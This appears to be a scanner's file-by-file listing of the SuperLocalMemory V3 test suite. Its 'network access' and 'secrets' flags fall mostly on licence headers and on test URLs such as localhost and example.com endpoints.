# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com # - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_concurrent_db.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_correction_case_store.py
- Executable scriptline 1
Executable file
tests/test_storage/test_dashboard_cannot_lock_the_store.py
tests/test_storage/test_database.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_database_memory_kind_columns.py
- Executable scriptline 1
Executable file
tests/test_storage/test_deferred_migration_atomicity_contract.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Deferred migrations must be safe under best-effort DDL application. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_deferred_writes.py
- Executable scriptline 1
Executable file
tests/test_storage/test_doctor_never_offers_junk_as_worth_keeping.py
- Executable scriptline 1
Executable file
tests/test_storage/test_doctor_reads_the_vector_index.py
- Executable scriptline 1
Executable file
tests/test_storage/test_doctor_refiles_only_flagged_memories.py
- Executable scriptline 1
Executable file
tests/test_storage/test_downgrade_hold_message.py
- Executable scriptline 1
Executable file
tests/test_storage/test_embedding_migrator.py
- Executable scriptline 1
Executable file
tests/test_storage/test_embedding_pressure_status.py
- Executable scriptline 1
Executable file
tests/test_storage/test_embedding_projection.py
- Executable scriptline 1
Executable file
tests/test_storage/test_embedding_reindex_units.py
- Executable scriptline 1
Executable file
tests/test_storage/test_embedding_signature_normalize.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_embedding_width_follows_the_store.py
- Executable scriptline 1
Executable file
tests/test_storage/test_engine_upgrade_keeps_rows.py
- Executable scriptline 1
Executable file
tests/test_storage/test_engine_upgrade_migration.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_entity_link_repair.py
- Executable scriptline 1
Executable file
tests/test_storage/test_entity_link_repair_entry_points.py
- Executable scriptline 1
Executable file
tests/test_storage/test_erasure_visibility_migration.py
- Executable scriptline 1
Executable file
tests/test_storage/test_every_switch_door_is_guarded.py
- Executable scriptline 1
Executable file
tests/test_storage/test_execution_learning_v2.py
- Executable scriptline 1
Executable file
tests/test_storage/test_external_evidence_store.py
- Executable scriptline 1
Executable file
tests/test_storage/test_failed_snapshot_leaves_no_partial.py
- Executable scriptline 1
Executable file
tests/test_storage/test_fresh_install_restore_points.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m016_scope_upgrade.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m018_ingestion_operations.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m021_ingestion_log_profile.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m022_entity_aliases_profile.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m026_rbac_memberships_fk.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m028_fact_entity_associations.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m029_behavioral_history_indexes.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m030_entity_explorer_indexes.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m033_projection_transactions.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m035_erasure_receipts.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m036_vector_row_map.py
- Executable scriptline 1
Executable file
tests/test_storage/test_m039_scene_fact_members.py
- Executable scriptline 1
Executable file
tests/test_storage/test_maintenance_hands_back_the_write_lock.py
- Executable scriptline 1
Executable file
tests/test_storage/test_managed_reindex_restart.py
- Executable scriptline 1
Executable file
tests/test_storage/test_managed_upgrade_failures.py
- Executable scriptline 1
Executable file - Network accessline 100
root, path = store runner = er.ReindexRunner(db_path=path, data_root=root) target = replace(_target(), provider='openai', api_endpoint='http://127.0.0.1:50000/v1') - Network accessline 101
runner = er.ReindexRunner(db_path=path, data_root=root) target = replace(_target(), provider='openai', api_endpoint='http://127.0.0.1:50000/v1') job = runner.request_switch(target) - Network accessline 102
target = replace(_target(), provider='openai', api_endpoint='http://127.0.0.1:50000/v1') - Network accessline 106
(job['job_id'],)).fetchone()) saved['state'] = 'failed' assert '--endpoint http://127.0.0.1:50000/v1' in public_view(saved)['retry_command'] - Network accessline 107
saved['state'] = 'failed' assert '--endpoint http://127.0.0.1:50000/v1' in public_view(saved)['retry_command'] for endpoint in ('https://user:private-example@localhost/v1', - Network accessline 108
assert '--endpoint http://127.0.0.1:50000/v1' in public_view(saved)['retry_command'] - Network accessline 109
for endpoint in ('https://user:private-example@localhost/v1', - Network accessline 110
'https://localhost/v1?key=private-example'):
tests/test_storage/test_memory_kind_store.py
- Executable scriptline 1
Executable file
tests/test_storage/test_memory_kinds.py
- Executable scriptline 1
Executable file
tests/test_storage/test_memory_leak_soak.py
- Executable scriptline 1
Executable file
tests/test_storage/test_migration_dependency_and_version.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Migration runner: downgrade guard on the deferred pass + dependency gating. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_migration_runner.py
- Executable scriptline 1
Executable file
tests/test_storage/test_migrations.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_migrations_content.py
- Executable scriptline 1
Executable file
tests/test_storage/test_models.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_no_ckpt_on_close.py
- Executable scriptline 1
Executable file
tests/test_storage/test_no_read_path_serves_a_retired_fact.py
- Executable scriptline 1
Executable file
tests/test_storage/test_no_read_path_shows_a_withheld_row.py
- Executable scriptline 1
Executable file
tests/test_storage/test_no_table_grows_without_a_reason.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_old_safety_copies_are_pruned.py
- Executable scriptline 1
Executable file
tests/test_storage/test_one_start_keeps_one_safety_copy.py
- Executable scriptline 1
Executable file
tests/test_storage/test_own_fact_repair.py
- Executable scriptline 1
Executable file
tests/test_storage/test_own_fact_repair_safety.py
- Executable scriptline 1
Executable file
tests/test_storage/test_prepare_downgrade.py
- Executable scriptline 1
Executable file
tests/test_storage/test_profile_delete_after_ordinary_recall.py
- Executable scriptline 1
Executable file
tests/test_storage/test_profile_fold_decisions.py
- Executable scriptline 1
Executable file
tests/test_storage/test_provenance_of_a_deleted_thing_is_not_provenance.py
- Executable scriptline 1
Executable file
tests/test_storage/test_quantized_store.py
- Executable scriptline 1
Executable file
tests/test_storage/test_read_snapshots_reuse_a_connection.py
- Executable scriptline 1
Executable file
tests/test_storage/test_reads_reuse_a_connection_per_thread.py
- Executable scriptline 1
Executable file
tests/test_storage/test_recent_memories_are_being_indexed_not_missing.py
- Executable scriptline 1
Executable file
tests/test_storage/test_recent_memories_read_only_an_index.py
- Executable scriptline 1
Executable file
tests/test_storage/test_reindex_ram_reservation.py
- Executable scriptline 1
Executable file
tests/test_storage/test_repair_runs_without_being_asked.py
- Executable scriptline 1
Executable file
tests/test_storage/test_replaced_memory.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_restore_cancel_stage.py
- Executable scriptline 1
Executable file
tests/test_storage/test_restore_damaged_live.py
- Executable scriptline 1
Executable file
tests/test_storage/test_restore_deletion_intent.py
- Executable scriptline 1
Executable file
tests/test_storage/test_restore_interrupted.py
tests/test_storage/test_restore_kind_edits.py
- Executable scriptline 1
Executable file
tests/test_storage/test_restore_learning.py
- Executable scriptline 1
Executable file
tests/test_storage/test_restore_leaves_no_large_wal.py
tests/test_storage/test_restore_newer_copy.py
- Executable scriptline 1
Executable file
tests/test_storage/test_restore_on_windows_file_rules.py
- Executable scriptline 1
Executable file
tests/test_storage/test_restore_points.py
- Executable scriptline 1
Executable file
tests/test_storage/test_restore_real_copy.py
tests/test_storage/test_restore_retention.py
- Executable scriptline 1
Executable file
tests/test_storage/test_restoring_a_fact_does_not_destroy_its_associations.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_restoring_a_memory_does_not_destroy_its_facts.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_reused_read_connections_are_safe.py
- Executable scriptline 1
Executable file
tests/test_storage/test_s9_w1_data_integrity.py
- Executable scriptline 1
Executable file
tests/test_storage/test_schema.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_scope_recall_equivalence.py
- Executable scriptline 1
Executable file
tests/test_storage/test_selfheal_write_starvation.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later — see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com - Access to secretsline 32
[Credential-related source omitted]
tests/test_storage/test_single_writer_lock.py
tests/test_storage/test_snapshot_damaged_keyword_index_204.py
- Executable scriptline 1
Executable file
tests/test_storage/test_snapshot_file_modes.py
- Executable scriptline 1
Executable file
tests/test_storage/test_snapshot_manifest.py
- Executable scriptline 1
Executable file
tests/test_storage/test_store_repair.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_storage/test_switch_lands_hub_baselines.py
- Executable scriptline 1
Executable file
tests/test_storage/test_temporal_validity_db.py
- Executable scriptline 1
Executable file
tests/test_storage/test_the_vector_export_leaves_out_withheld_facts.py
- Executable scriptline 1
Executable file
tests/test_storage/test_upgrade_repair.py
- Executable scriptline 1
Executable file
tests/test_storage/test_upgrade_safety_copy_leftovers.py
- Executable scriptline 1
Executable file
tests/test_storage/test_visibility_reads_do_not_read_row_bodies.py
- Executable scriptline 1
Executable file
tests/test_storage/test_w8_backup_ordering.py
- Executable scriptline 1
Executable file
tests/test_storage/test_w8_install_detector.py
- Executable scriptline 1
Executable file
tests/test_storage/test_wal_autocheckpoint.py
- Executable scriptline 1
Executable file
tests/test_storage/test_wp12b_qjl_search.py
- Executable scriptline 1
Executable file
tests/test_storage/test_wp19_enrichment.py
- Executable scriptline 1
Executable file
tests/test_storage/test_wp19_legacy_coverage.py
- Executable scriptline 1
Executable file
tests/test_storage/test_wp19_stub_rule.py
- Executable scriptline 1
Executable file
tests/test_storage/test_wp19_stubs.py
- Executable scriptline 1
Executable file
tests/test_storage/test_wp19_undo_after_fold.py
- Executable scriptline 1
Executable file
tests/test_storage/test_wp19_valid_from.py
- Executable scriptline 1
Executable file
tests/test_storage/test_wp5_indexed_enrichment.py
- Executable scriptline 1
Executable file
tests/test_storage/test_writes_wait_their_turn.py
tests/test_summaries/test_community_drill_down.py
- Executable scriptline 1
Executable file
tests/test_summaries/test_llm_output_hygiene.py
tests/test_summaries/test_project_picker_lists_saved_projects.py
- Executable scriptline 1
Executable file
tests/test_summaries/test_project_scope_and_coverage.py
tests/test_summaries/test_project_summary_saved_memories.py
tests/test_summaries/test_summaries_show_only_visible_memories.py
tests/test_summaries/test_summary_cli.py
- Executable scriptline 1
Executable file
tests/test_summaries/test_summary_mcp.py
- Executable scriptline 1
Executable file
tests/test_summaries/test_summary_routes.py
- Executable scriptline 1
Executable file
tests/test_surface_integrity/__init__.py
- Executable scriptline 1
Executable file
tests/test_surface_integrity/test_recall_answers_the_same_through_every_door.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_surface_integrity/test_status_says_the_same_thing_everywhere.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 130
[Credential-related source omitted]
tests/test_surface_integrity/test_the_same_question_returns_the_same_many.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 97
[Credential-related source omitted]
tests/test_tagging/__init__.py
- Executable scriptline 1
Executable file
tests/test_tagging/test_extractors.py
- Executable scriptline 1
Executable file - Network accessline 20
[Credential-related source omitted] - Network accessline 21
[Credential-related source omitted] - Network accessline 22
[Credential-related source omitted] - Network accessline 23
) assert got.urls == ("https://example.com:8080/a/b",) assert "token" not in str(got.as_metadata()) - Network accessline 24
assert got.urls == ("https://example.com:8080/a/b",) - Network accessline 29
def test_url_trailing_punctuation_and_parens() -> None: got = extract_deterministic( "(visit https://a.io/x). Also https://b.io/y, and https://c.io/z(1) ok" - Network accessline 30
got = extract_deterministic( "(visit https://a.io/x). Also https://b.io/y, and https://c.io/z(1) ok" ) - Network accessline 31
"(visit https://a.io/x). Also https://b.io/y, and https://c.io/z(1) ok" - Network accessline 33
assert got.urls == ("https://a.io/x", "https://b.io/y", "https://c.io/z(1)") - Network accessline 36
def test_url_path_is_not_also_a_path() -> None: got = extract_deterministic("https://example.com/docs/guide") - Network accessline 37
got = extract_deterministic("https://example.com/docs/guide") - Network accessline 85
def test_dedup_and_order() -> None: got = extract_deterministic("#b #a #b https://x.io/1 https://x.io/1?q=2 https://w.io/2") - Network accessline 86
got = extract_deterministic("#b #a #b https://x.io/1 https://x.io/1?q=2 https://w.io/2") - Network accessline 88
assert got.urls == ("https://x.io/1", "https://w.io/2") - Network accessline 91
def test_caps() -> None: text = " ".join(f"https://h{i}.io/p" for i in range(17)) - Network accessline 92
text = " ".join(f"https://h{i}.io/p" for i in range(17)) - Network accessline 93
assert len(extract_deterministic(text).urls) == MAX_ITEMS == 16 long_url = "https://example.com/" + "a" * 300 assert extract_deterministic(long_url).urls == () - Network accessline 94
long_url = "https://example.com/" + "a" * 300 - Network accessline 98
def test_text_beyond_scan_limit_ignored() -> None: text = "x" * MAX_SCAN_CHARS + " https://late.io/a #late 2026-01-01" - Network accessline 99
text = "x" * MAX_SCAN_CHARS + " https://late.io/a #late 2026-01-01" - Network accessline 118
def test_as_metadata_order_and_type() -> None: got = extract_deterministic("#t 2026-01-02 https://a.io/x v1.2") - Network accessline 119
got = extract_deterministic("#t 2026-01-02 https://a.io/x v1.2") - Network accessline 124
def test_timing_24k_mixed_text() -> None: chunk = ( "See https://example.com/a/b?x=1 at /var/log/app.log on 2026-03-04 for v1.2.3 " - Network accessline 125
chunk = ( "See https://example.com/a/b?x=1 at /var/log/app.log on 2026-03-04 for v1.2.3 " "of `do_thing` #tag 192.168.0.1 1/2 and/or plain words here. " - Network accessline 126
"See https://example.com/a/b?x=1 at /var/log/app.log on 2026-03-04 for v1.2.3 "
tests/test_tagging/test_write_queryable_facets.py
- Executable scriptline 1
Executable file - Network accessline 16
[Credential-related source omitted] - Network accessline 39
meta = _metadata_of(engine_with_mock_deps, "Release notes") assert meta["_slm_extracted"] == { "urls": ["https://example.com/rel"], "dates": ["2026-03-04"], - Network accessline 40
assert meta["_slm_extracted"] == { "urls": ["https://example.com/rel"], "dates": ["2026-03-04"], } - Network accessline 41
"urls": ["https://example.com/rel"], "dates": ["2026-03-04"], - Network accessline 52
def test_remember_cannot_forge_the_key(engine_with_mock_deps, monkeypatch) -> None: monkeypatch.delenv("SLM_PII_REDACTION", raising=False) forged = {"_slm_extracted": {"urls": ["https://evil.example/x"]}} - Network accessline 53
monkeypatch.delenv("SLM_PII_REDACTION", raising=False) forged = {"_slm_extracted": {"urls": ["https://evil.example/x"]}} with _daemon_client(engine_with_mock_deps) as client: - Network accessline 54
forged = {"_slm_extracted": {"urls": ["https://evil.example/x"]}} - Network accessline 57
_remember(client, PROSE, "facet-3b", metadata=forged) meta = _metadata_of(engine_with_mock_deps, "Release notes") assert meta["_slm_extracted"]["urls"] == ["https://example.com/rel"] - Network accessline 58
meta = _metadata_of(engine_with_mock_deps, "Release notes") assert meta["_slm_extracted"]["urls"] == ["https://example.com/rel"] assert "_slm_extracted" not in _metadata_of(engine_with_mock_deps, "quarterly reliability") - Network accessline 59
assert meta["_slm_extracted"]["urls"] == ["https://example.com/rel"] - Network accessline 65
resp = _ingest_client(engine_with_mock_deps).post("/ingest", json={ "content": PROSE, "source_type": "gmail", "dedup_key": "facet-4", "metadata": {"_slm_extracted": {"urls": ["https://evil.example/x"]}}, - Network accessline 66
"content": PROSE, "source_type": "gmail", "dedup_key": "facet-4", "metadata": {"_slm_extracted": {"urls": ["https://evil.example/x"]}}, }) - Network accessline 67
"metadata": {"_slm_extracted": {"urls": ["https://evil.example/x"]}}, - Network accessline 77
meta = {"_slm_extracted": {"urls": ["https://evil.example/x"]}} - Network accessline 79
assert "_slm_extracted" not in meta add_extracted(meta, TEXT) assert meta["_slm_extracted"]["urls"] == ["https://example.com/rel"] - Network accessline 81
assert meta["_slm_extracted"]["urls"] == ["https://example.com/rel"] - Network accessline 84
def test_pii_is_not_in_the_facets(engine_with_mock_deps, monkeypatch) -> None: monkeypatch.setenv("SLM_PII_REDACTION", "1") text = f"Mail {EMAIL} about https://example.com/pii on 2026-04-05 please." - Network accessline 85
monkeypatch.setenv("SLM_PII_REDACTION", "1") text = f"Mail {EMAIL} about https://example.com/pii on 2026-04-05 please." with _daemon_client(engine_with_mock_deps) as client: - Network accessline 86
text = f"Mail {EMAIL} about https://example.com/pii on 2026-04-05 please." - Network accessline 87
with _daemon_client(engine_with_mock_deps) as client: _remember(client, text, "facet-5") meta = _metadata_of(engine_with_mock_deps, "about https://example.com/pii") - Network accessline 88
_remember(client, text, "facet-5") meta = _metadata_of(engine_with_mock_deps, "about https://example.com/pii") assert meta["_slm_extracted"]["urls"] == ["https://example.com/pii"] - Network accessline 89
meta = _metadata_of(engine_with_mock_deps, "about https://example.com/pii") - Network accessline 90
assert meta["_slm_extracted"]["urls"] == ["https://example.com/pii"]
tests/test_temporal_phase4_event_time.py
- Executable scriptline 1
Executable file
tests/test_topic_shift_hook.py
- Executable scriptline 1
Executable file
tests/test_trust/__init__.py
- Executable scriptline 1
Executable file
tests/test_trust/test_a_catch_all_is_not_a_reputation.py
- Executable scriptline 1
Executable file
tests/test_trust/test_gate_config.py
- Executable scriptline 1
Executable file
tests/test_trust/test_provenance.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_trust/test_scorer.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_trust_full.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """Tests for V3 Trust System — Task 5 of V3 build. - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_ui/__init__.py
- Executable scriptline 1
Executable file
tests/test_ui/test_answer_check_tab_is_wired.py
- Executable scriptline 1
Executable file
tests/test_ui/test_brain_render.py
- Executable scriptline 1
Executable file
tests/test_ui/test_the_answer_check_says_what_runs.py
- Executable scriptline 1
Executable file
tests/test_ui/test_the_dashboard_says_which_channel_broke.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_adapter_list_hides_paths.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_adapter_paths_are_confined.py
tests/test_ui/test_wp10_adapter_readiness.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_backup_recovery.py
- Executable scriptline 1
Executable file - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Network accessline 123
b = recovery() current = { "cross_encoder_endpoint": "https://current.example/rerank", - Network accessline 124
[Credential-related source omitted] - Network accessline 125
"cross_encoder_endpoint": "https://current.example/rerank", - Access to secretsline 126
[Credential-related source omitted] - Network accessline 129
b._merge_settings( current, {"cross_encoder_endpoint": "https://old.example/rerank", "cross_encoder_backend": "openai"}, - Network accessline 130
current, {"cross_encoder_endpoint": "https://old.example/rerank", "cross_encoder_backend": "openai"}, ) - Network accessline 131
{"cross_encoder_endpoint": "https://old.example/rerank", "cross_encoder_backend": "openai"}, - Access to secretsline 133
[Credential-related source omitted]
tests/test_ui/test_wp10_export_keeps_retention.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_feeds.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_kept_copy_is_named_and_removed.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_media_size.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_outcome_worker_is_identified.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_recovery_needed_blocks_start.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_restore_checks_free_space.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_restore_is_atomic.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_restore_marker_is_written_first.py
tests/test_ui/test_wp10_restore_worker_health.py
tests/test_ui/test_wp10_reused_pid_reads_as_dead_writer.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_rollback_is_independent.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_routes.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_running_restore_is_not_recovery.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_safety_copy_is_pinned.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_saved_adapter_paths_are_rechecked.py
tests/test_ui/test_wp10_settings_secret_filter.py
- Executable scriptline 1
Executable file - Access to secretsline 20
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 35
[Credential-related source omitted] - Network accessline 46
[Credential-related source omitted] - Network accessline 47
[Credential-related source omitted] - Network accessline 48
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Network accessline 49
backup_bundle._merge_settings(current, {"api_base": "https://old.example"}) - Access to secretsline 50
[Credential-related source omitted]
tests/test_ui/test_wp10_space_estimate_counts_media.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_space_estimate_counts_unsynced_media.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_summary_cache.py
- Executable scriptline 1
Executable file
tests/test_ui/test_wp10_unavailable_names_recovery.py
- Executable scriptline 1
Executable file
tests/test_v3_api.py
- Executable scriptline 1
Executable file
tests/test_version_consistency.py
- Executable scriptline 1
Executable file
tests/test_views/__init__.py
- Executable scriptline 1
Executable file
tests/test_views/_store.py
- Executable scriptline 1
Executable file
tests/test_views/test_one_run_path.py
- Executable scriptline 1
Executable file
tests/test_views/test_view_cli.py
- Executable scriptline 1
Executable file
tests/test_views/test_view_gdpr.py
- Executable scriptline 1
Executable file
tests/test_views/test_view_mcp.py
- Executable scriptline 1
Executable file
tests/test_views/test_view_routes.py
- Executable scriptline 1
Executable file
tests/test_views/test_view_store.py
tests/test_web_agent_instructions.py
- Executable scriptline 1
Executable file
tests/test_write_lock_hardening.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com """Tests for write-lock + busy_timeout hardening (3.8.4-dev). - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com
tests/thread_leak_guard.py
tests/ui/features_helpers.mjs
- Executable scriptline 1
Executable file
tests/ui/harness.mjs
tests/ui/test_answer_check_settings.mjs
- Executable scriptline 1
Executable file
tests/ui/test_answercheck_tab.mjs
- Executable scriptline 1
Executable file
tests/ui/test_answercheck_tryit.mjs
- Executable scriptline 1
Executable file
tests/ui/test_auto_settings_reindex_message.mjs
- Executable scriptline 1
Executable file
tests/ui/test_backup_auth_failure.mjs
- Executable scriptline 1
Executable file
tests/ui/test_backup_encryption_panel.mjs
- Executable scriptline 1
Executable file
tests/ui/test_brain_truth_dashboard.mjs
- Executable scriptline 1
Executable file
tests/ui/test_brain_ui_acceptance.mjs
- Executable scriptline 1
Executable file
tests/ui/test_cache_bust_matches_content.mjs
- Executable scriptline 1
Executable file
tests/ui/test_confirm_modal.mjs
- Executable scriptline 1
Executable file - Network accessline 134
}); if (!confirmed) return; await h.window.fetch('/api/profiles/my-project', { method: 'DELETE' }); - Network accessline 135
if (!confirmed) return; await h.window.fetch('/api/profiles/my-project', { method: 'DELETE' }); } - Network accessline 136
await h.window.fetch('/api/profiles/my-project', { method: 'DELETE' }); - Network accessline 166
}); if (!confirmed) return; await h.window.fetch('/api/profiles/my-project', { method: 'DELETE' }); - Network accessline 167
if (!confirmed) return; await h.window.fetch('/api/profiles/my-project', { method: 'DELETE' }); } - Network accessline 168
